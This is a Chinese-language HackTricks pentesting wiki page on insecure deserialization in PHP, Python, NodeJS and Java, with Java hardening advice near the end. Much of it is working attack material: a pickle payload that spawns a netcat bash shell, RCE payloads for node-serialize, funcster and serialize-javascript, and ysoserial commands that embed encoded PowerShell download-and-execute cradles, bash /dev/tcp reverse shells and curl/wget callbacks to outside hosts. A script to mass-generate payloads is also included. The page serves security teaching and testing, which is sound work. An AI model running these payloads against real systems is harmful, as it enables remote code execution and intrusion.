> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/deserialization.md).

# Deserialization

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 基本信息

**序列化**是将对象转换为可保存的格式的方法，目的是将对象存储或作为通信过程的一部分传输。这种技术通常用于确保对象可以在以后的某个时间重新创建，保持其结构和状态。

**反序列化**相反，是对抗序列化的过程。它涉及将以特定格式结构化的数据重新构建为对象。

反序列化可能很危险，因为它潜在地**允许攻击者操纵序列化数据以执行有害代码**或在对象重建过程中导致应用程序出现意外行为。

## PHP

在PHP中，在序列化和反序列化过程中使用了特定的魔术方法：

* `__sleep`：在对象被序列化时调用。此方法应返回一个包含应该被序列化的对象所有属性名称的数组。通常用于提交挂起数据或执行类似的清理任务。
* `__wakeup`：在对象被反序列化时调用。用于重新建立在序列化过程中可能丢失的任何数据库连接并执行其他重新初始化任务。
* `__unserialize`：当对象被反序列化时，如果存在此方法，则调用它而不是`__wakeup`。与`__wakeup`相比，它对反序列化过程提供了更多控制。
* `__destruct`：当对象即将被销毁或脚本结束时调用此方法。通常用于清理任务，如关闭文件句柄或数据库连接。
* `__toString`：此方法允许将对象视为字符串。它可用于根据其中的函数调用读取文件或执行其他任务，有效地提供对象的文本表示。

```php
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>
```

如果您查看结果，您会发现在对象被反序列化时会调用函数\*\*`__wakeup`**和**`__destruct`**。请注意，在一些教程中，您会发现在尝试打印某个属性时会调用**`__toString`**函数，但显然**不再发生\*\*这种情况。

{% hint style="warning" %}
如果在类中实现了方法\*\*`__unserialize(array $data)`**，则会调用该方法**而不是`__wakeup()`\*\*。它允许您通过提供序列化数据作为数组来反序列化对象。您可以使用此方法来反序列化属性并在反序列化时执行任何必要的任务。

```php
class MyClass {
private $property;

public function __unserialize(array $data): void {
$this->property = $data['property'];
// Perform any necessary tasks upon deserialization.
}
}
```

{% endhint %}

您可以在此处阅读一个解释**PHP示例**：<https://www.notsosecure.com/remote-code-execution-via-php-unserialize/>，或者在这里<https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf>，或者在这里<https://securitycafe.ro/2015/01/05/understanding-php-object-injection/>

### PHP反序列化 + 自动加载类

您可以滥用PHP的自动加载功能来加载任意的php文件和更多内容：

{% content-ref url="/pages/FsFz7nh7E1rNnLlCVL2f" %}
[PHP - Deserialization + Autoload Classes](/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
{% endcontent-ref %}

### 序列化引用值

如果出于某种原因，您想将一个值序列化为对另一个值序列化的**引用**，您可以：

```php
<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);
```

### PHPGGC (ysoserial for PHP)

[**PHPGGC**](https://github.com/ambionics/phpggc)可以帮助您生成用于滥用PHP反序列化的有效负载。\
请注意，在许多情况下，您**可能无法在应用程序的源代码中找到滥用反序列化的方法**，但您可能能够**滥用外部PHP扩展的代码**。\
因此，如果可能的话，请检查服务器的`phpinfo()`并在互联网上搜索（甚至在**PHPGGC**的**小工具**中）一些您可以滥用的可能小工具。

### phar:// 元数据反序列化

如果您发现了一个仅仅读取文件而不执行其中的php代码的LFI，例如使用函数如 ***file\_get\_contents(), fopen(), file() or file\_exists(), md5\_file(), filemtime() or filesize()*****。 您可以尝试滥用使用**phar**协议读取文件时发生的**反序列化\*\*。\
有关更多信息，请阅读以下文章：

{% content-ref url="/pages/pFtSk8BifJ3qO6awESmk" %}
[phar:// deserialization](/pentesting-web/file-inclusion/phar-deserialization.md)
{% endcontent-ref %}

## Python

### **Pickle**

当对象被反序列化时，将执行函数 *\_\_reduce\_\_*。\
当被利用时，服务器可能会返回错误。

```python
import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```

要了解有关逃离**pickle jails**的更多信息，请查看：

{% content-ref url="/pages/3BPEOUUqev1SBMucQAtz" %}
[Bypass Python sandboxes](/generic-methodologies-and-resources/python/bypass-python-sandboxes.md)
{% endcontent-ref %}

### Yaml **&** jsonpickle

以下页面介绍了在yaml python库中**滥用不安全的反序列化**的技术，并最后提供了一个工具，可用于生成**Pickle、PyYAML、jsonpickle和ruamel.yaml**的RCE反序列化有效负载：

{% content-ref url="/pages/vvA8NuLNqrptYrB9BeH8" %}
[Python Yaml Deserialization](/pentesting-web/deserialization/python-yaml-deserialization.md)
{% endcontent-ref %}

### 类污染（Python原型污染）

{% content-ref url="/pages/Ym16jOuCLbdo9YUtm4Ku" %}
[Class Pollution (Python's Prototype Pollution)](/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
{% endcontent-ref %}

## NodeJS

### JS魔术函数

JS **没有像PHP或Python那样会在创建对象时执行的"魔术"函数**。但它有一些**经常被使用，即使没有直接调用**的**函数**，比如\*\*`toString`**、**`valueOf`**、**`toJSON`**。**\
**如果滥用反序列化，您可以**破坏这些函数以执行其他代码\*\*（潜在地滥用原型污染），从而在调用它们时执行任意代码。

另一种\*\*"魔术"调用函数的方式**是通过**破坏由异步函数返回的对象\*\*（promise）。因为，如果您将**返回对象**转换为另一个带有名为\*\*"then"的类型为函数的属性**的**promise\*\*，它将被**执行**，因为它是由另一个promise返回的。*点击* [***此链接***](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) *了解更多信息。*

```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise(resolve => {
console.log('hello')
resolve()
})
return p
}

async function test_then() {
const p = new Promise(then => {
console.log('hello')
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
```

### `__proto__` 和 `prototype` 污染

如果您想了解这个技术，请查看以下教程：

{% content-ref url="/pages/oUjk3fYFm25DjTxtd8k7" %}
[NodeJS - \_\_proto\_\_ & prototype Pollution](/pentesting-web/deserialization/nodejs-proto-prototype-pollution.md)
{% endcontent-ref %}

### [node-serialize](https://www.npmjs.com/package/node-serialize)

该库允许对函数进行序列化。示例：

```javascript
var y = {
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
}
var serialize = require('node-serialize');
var payload_serialized = serialize.serialize(y);
console.log("Serialized: \n" + payload_serialized);
```

**序列化对象**将如下所示：

```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```

在示例中，当函数被序列化时，会在序列化对象后附加 `_$$ND_FUNC$$_` 标志。

在文件 `node-serialize/lib/serialize.js` 中，您可以找到相同的标志以及代码如何使用它。

![](/files/SaRl5Yj4L8WENRpHpUb1)

![](/files/tRprn8z389m65547fioh)

正如您在最后一段代码中所看到的，**如果找到标志**，则会使用 `eval` 来反序列化函数，因此基本上**用户输入被用在 `eval` 函数内**。

然而，**仅仅序列化**一个函数**不会执行它**，因为需要代码的某部分**调用 `y.rce`**，在我们的示例中这是高度**不可能**的。\
无论如何，您可以**修改序列化对象**，**添加一些括号**，以便在反序列化对象时自动执行序列化函数。\
在下一段代码中，**请注意最后的括号**以及 `unserialize` 函数将如何自动执行代码：

```javascript
var serialize = require('node-serialize');
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
serialize.unserialize(test);
```

如先前所述，此库将在`_$$ND_FUNC$$_`后获取代码，并使用`eval`来**执行**它。因此，为了**自动执行代码**，您可以**删除函数创建**部分和最后的括号，只需执行类似以下示例中的JS oneliner：

```javascript
var serialize = require('node-serialize');
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
serialize.unserialize(test);
```

您可以在[**这里**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)找到有关如何利用此漏洞的**更多信息**。

### [funcster](https://www.npmjs.com/package/funcster)

**funcster**的一个值得注意的方面是**标准内置对象**的不可访问性；它们超出了可访问范围。这种限制阻止了试图调用内置对象方法的代码执行，导致诸如`"ReferenceError: console is not defined"`的异常，当使用`console.log()`或`require(something)`等命令时。

尽管存在这种限制，通过特定方法可以恢复对全局上下文的完全访问权限，包括所有标准内置对象。通过直接利用全局上下文，可以绕过此限制。例如，可以使用以下代码片段重新建立访问权限：

```javascript
funcster = require("funcster");
//Serialization
var test = funcster.serialize(function() { return "Hello world!" })
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
funcster.deepDeserialize(desertest2)
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
funcster.deepDeserialize(desertest3)
```

**更多信息请阅读此来源**]\(<https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**。>\*\*

### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)

**serialize-javascript**软件包专门设计用于序列化目的，缺乏任何内置的反序列化功能。用户需要自行实现反序列化的方法。官方示例建议直接使用`eval`来反序列化序列化的数据：

```javascript
function deserialize(serializedJavascript){
return eval('(' + serializedJavascript + ')');
}
```

如果此函数用于反序列化对象，则您可以**轻松利用**它：

```javascript
var serialize = require('serialize-javascript');
//Serialization
var test = serialize(function() { return "Hello world!" });
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```

**更多信息请阅读此来源**。

### Cryo库

在以下页面中，您可以找到有关如何滥用此库以执行任意命令的信息：

* <https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/>
* <https://hackerone.com/reports/350418>

## Java - HTTP

在Java中，**反序列化回调在反序列化过程中执行**。攻击者可以利用这种执行方式来构造恶意有效负载，触发这些回调，从而导致潜在的有害操作执行。

### 指纹

#### 白盒测试

要识别代码库中潜在的序列化漏洞，请搜索以下内容：

* 实现`Serializable`接口的类。
* 使用`java.io.ObjectInputStream`，`readObject`，`readUnshare`函数。

特别注意：

* `XMLDecoder`与外部用户定义的参数一起使用。
* `XStream`的`fromXML`方法，特别是如果XStream版本小于或等于1.46，则容易受到序列化问题的影响。
* `ObjectInputStream`与`readObject`方法结合使用。
* 实现`readObject`，`readObjectNodData`，`readResolve`或`readExternal`等方法。
* `ObjectInputStream.readUnshared`。
* 通用使用`Serializable`。

#### 黑盒测试

对于黑盒测试，请查找指示Java序列化对象（源自`ObjectInputStream`）的特定**签名或“魔法字节”**：

* 十六进制模式：`AC ED 00 05`。
* Base64模式：`rO0`。
* HTTP响应头中`Content-type`设置为`application/x-java-serialized-object`。
* 指示先前压缩的十六进制模式：`1F 8B 08 00`。
* 指示先前压缩的Base64模式：`H4sIA`。
* 具有`.faces`扩展名和`faces.ViewState`参数的Web文件。在Web应用程序中发现这些模式应促使进行详细检查，如[关于Java JSF ViewState Deserialization的帖子](/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)中所述。

```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```

### 检查是否存在漏洞

如果你想了解**Java反序列化漏洞是如何工作的**，你应该查看[**基本Java反序列化**](/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)，[**Java DNS反序列化**](/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)，以及[**CommonsCollection1 Payload**](/pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)。

#### 白盒测试

你可以检查是否安装了任何已知漏洞的应用程序。

```bash
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```

您可以尝试**检查所有已知存在漏洞的库**，并查看[Ysoserial](https://github.com/frohoff/ysoserial)可以提供漏洞利用的库。或者您可以检查[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)上指定的库。\
您还可以使用[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)来搜索可能被利用的小工具链。\
运行**gadgetinspector**（构建后）时，不必担心它经历的大量警告/错误，并让其完成。它将在\_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt\_下写入所有发现。请注意，**gadgetinspector不会创建漏洞利用，可能会指示误报**。

#### 黑盒测试

使用Burp扩展程序[gadgetprobe](/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)可以识别**可用的库**（甚至版本）。有了这些信息，选择利用漏洞的有效负载可能会**更容易**。\
[**阅读此处以了解更多关于GadgetProbe的信息**](/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
GadgetProbe专注于\*\*`ObjectInputStream`反序列化\*\*。

使用Burp扩展程序[Java Deserialization Scanner](/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)可以**识别易受攻击的库**，可利用ysoserial进行**利用**。\
[**阅读此处以了解更多关于Java Deserialization Scanner的信息。**](/pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner专注于\*\*`ObjectInputStream`\*\*反序列化。

您还可以使用[Freddy](https://github.com/nccgroup/freddy)在**Burp**中**检测反序列化**漏洞。此插件将检测**不仅是`ObjectInputStream`相关的漏洞，还包括Json**和**Yml**反序列化库的漏洞。在主动模式下，它将尝试使用睡眠或DNS有效负载来确认它们。\
[**您可以在此处找到有关Freddy的更多信息。**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)

**序列化测试**

并非所有内容都是关于检查服务器是否使用了任何存在漏洞的库。有时您可以**更改序列化对象中的数据并绕过某些检查**（也许授予您在Web应用程序中的管理员权限）。\
如果发现将Java序列化对象发送到Web应用程序，则可以使用[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)以更易读的格式打印发送的序列化对象。了解您发送的数据将更容易修改它并绕过某些检查。

### **利用**

#### **ysoserial**

利用Java反序列化的主要工具是[**ysoserial**](https://github.com/frohoff/ysoserial)（[**在此处下载**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)）。您还可以考虑使用[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)，它将允许您使用复杂命令（例如带有管道）。\
请注意，此工具专注于利用\*\*`ObjectInputStream`**。**\
**我建议**首先使用"URLDNS"**有效负载**而不是RCE\*\*有效负载来测试注入是否可能。无论如何，请注意，也许"URLDNS"有效负载无效，但其他RCE有效负载有效。

```bash
# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload
```

在为 **java.lang.Runtime.exec()** 创建有效载荷时，**不能使用特殊字符**，如 ">" 或 "|" 来重定向执行的输出，也不能使用 "$()" 来执行命令，甚至**不能通过空格分隔的方式**向命令传递参数（你可以执行 `echo -n "hello world"`，但不能执行 `python2 -c 'print "Hello world"'`）。为了正确编码有效载荷，你可以使用[这个网页](http://www.jackson-t.ca/runtime-exec-payloads.html)。

请随意使用下面的脚本为 Windows 和 Linux 创建**所有可能的代码执行**有效载荷，然后在易受攻击的网页上测试它们：

```python
import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```

#### serialkillerbypassgadgets

您可以**使用**[**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection)**与 ysoserial 一起创建更多的利用**。有关此工具的更多信息，请参阅展示中介绍该工具的幻灯片：<https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1>

#### marshalsec

[**marshalsec**](https://github.com/mbechler/marshalsec)可用于生成用于利用Java中不同**Json**和**Yml**序列化库的有效载荷。\
为了编译该项目，我需要将以下**依赖项**添加到 `pom.xml` 中：

```markup
<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>
```

**安装 Maven**，然后**编译**项目：

```bash
sudo apt-get install maven
mvn clean package -DskipTests
```

#### FastJSON

了解更多关于这个Java JSON库的信息：<https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html>

### 实验室

* 如果您想测试一些 ysoserial 负载，您可以**运行这个 web 应用程序**：<https://github.com/hvqzao/java-deserialize-webapp>
* <https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/>

### 为什么

Java 在各种情况下广泛使用序列化，比如：

* **HTTP 请求**：序列化在参数管理、ViewState、cookies 等方面被广泛应用。
* **RMI（远程方法调用）**：Java RMI 协议完全依赖序列化，在 Java 应用程序中的远程通信中起着关键作用。
* **RMI over HTTP**：这种方法通常被基于 Java 的厚客户端 Web 应用程序使用，利用序列化进行所有对象通信。
* **JMX（Java 管理扩展）**：JMX 利用序列化在网络上传输对象。
* **自定义协议**：在 Java 中，标准做法涉及传输原始 Java 对象，这将在即将展示的漏洞利用示例中进行演示。

### 预防措施

#### 瞬态对象

实现 `Serializable` 接口的类可以将类内部不应序列化的任何对象标记为 `transient`。例如：

```java
public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient
```

#### 避免对需要实现Serializable接口的类进行序列化

在某些情况下，由于类层次结构的原因，\*\*某些对象必须实现`Serializable`\*\*接口，存在意外反序列化的风险。为了防止这种情况发生，确保这些对象是不可序列化的，方法是定义一个`final`的`readObject()`方法，始终抛出异常，如下所示：

```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}
```

#### **增强Java中的反序列化安全性**

**自定义`java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当以下条件满足时，此方法非常适用：

* 反序列化代码在您的控制范围内。
* 已知用于反序列化的类。

覆盖 **`resolveClass()`** 方法以仅限制反序列化为允许的类。这样可以防止反序列化任何类，除了明确允许的类，例如以下示例将反序列化限制为仅限`Bicycle`类：

```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}
```

**使用Java代理进行安全增强**提供了一种备用解决方案，当无法修改代码时。这种方法主要用于**对有害类进行黑名单处理**，使用JVM参数：

```
-javaagent:name-of-agent.jar
```

它提供了一种动态保护反序列化的方式，非常适合在需要立即更改代码不切实际的环境中使用。

查看示例[rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)

**实现序列化过滤器**：Java 9通过\*\*`ObjectInputFilter`\*\*接口引入了序列化过滤器，提供了一个强大的机制，用于指定在反序列化之前序列化对象必须满足的条件。这些过滤器可以全局应用或针对每个流进行应用，为反序列化过程提供了细粒度的控制。

要使用序列化过滤器，您可以设置一个适用于所有反序列化操作的全局过滤器，或者为特定流动态配置它。例如：

```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```

**利用外部库增强安全性**：诸如**NotSoSerial**、**jdeserialize**和**Kryo**等库提供了高级功能，用于控制和监控Java反序列化。这些库可以提供额外的安全层，如白名单或黑名单类、在反序列化之前分析序列化对象以及实施自定义序列化策略。

* **NotSoSerial** 拦截反序列化过程，以防止执行不受信任的代码。
* **jdeserialize** 允许分析序列化的Java对象而无需对其进行反序列化，有助于识别潜在的恶意内容。
* **Kryo** 是一种注重速度和效率的替代序列化框架，提供可配置的序列化策略，可增强安全性。

### 参考资料

* <https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html>
* 反序列化和 ysoserial 讲解：<http://frohoff.github.io/appseccali-marshalling-pickles/>
* <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/>
* <https://www.youtube.com/watch?v=VviY3O-euVQ>
* 有关 gadgetinspector 的讲解：<https://www.youtube.com/watch?v=wPbW6zQ52w8> 和幻灯片：<https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf>
* Marshalsec 论文：<https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true>
* <https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr>
* <https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html>
* <https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html>
* Java 和 .Net JSON 反序列化 **论文：** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)\*\*，\*\*讲解：<https://www.youtube.com/watch?v=oUAeWhW5b8c> 和幻灯片：<https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf>
* 反序列化 CVEs：<https://paper.seebug.org/123/>

## JNDI 注入 & log4Shell

在以下页面中查找**JNDI 注入是什么，如何通过 RMI、CORBA 和 LDAP 滥用它以及如何利用 log4shell**（以及此漏洞的示例）：

{% content-ref url="/pages/IgyMrCEtNsGnmGD7ym7o" %}
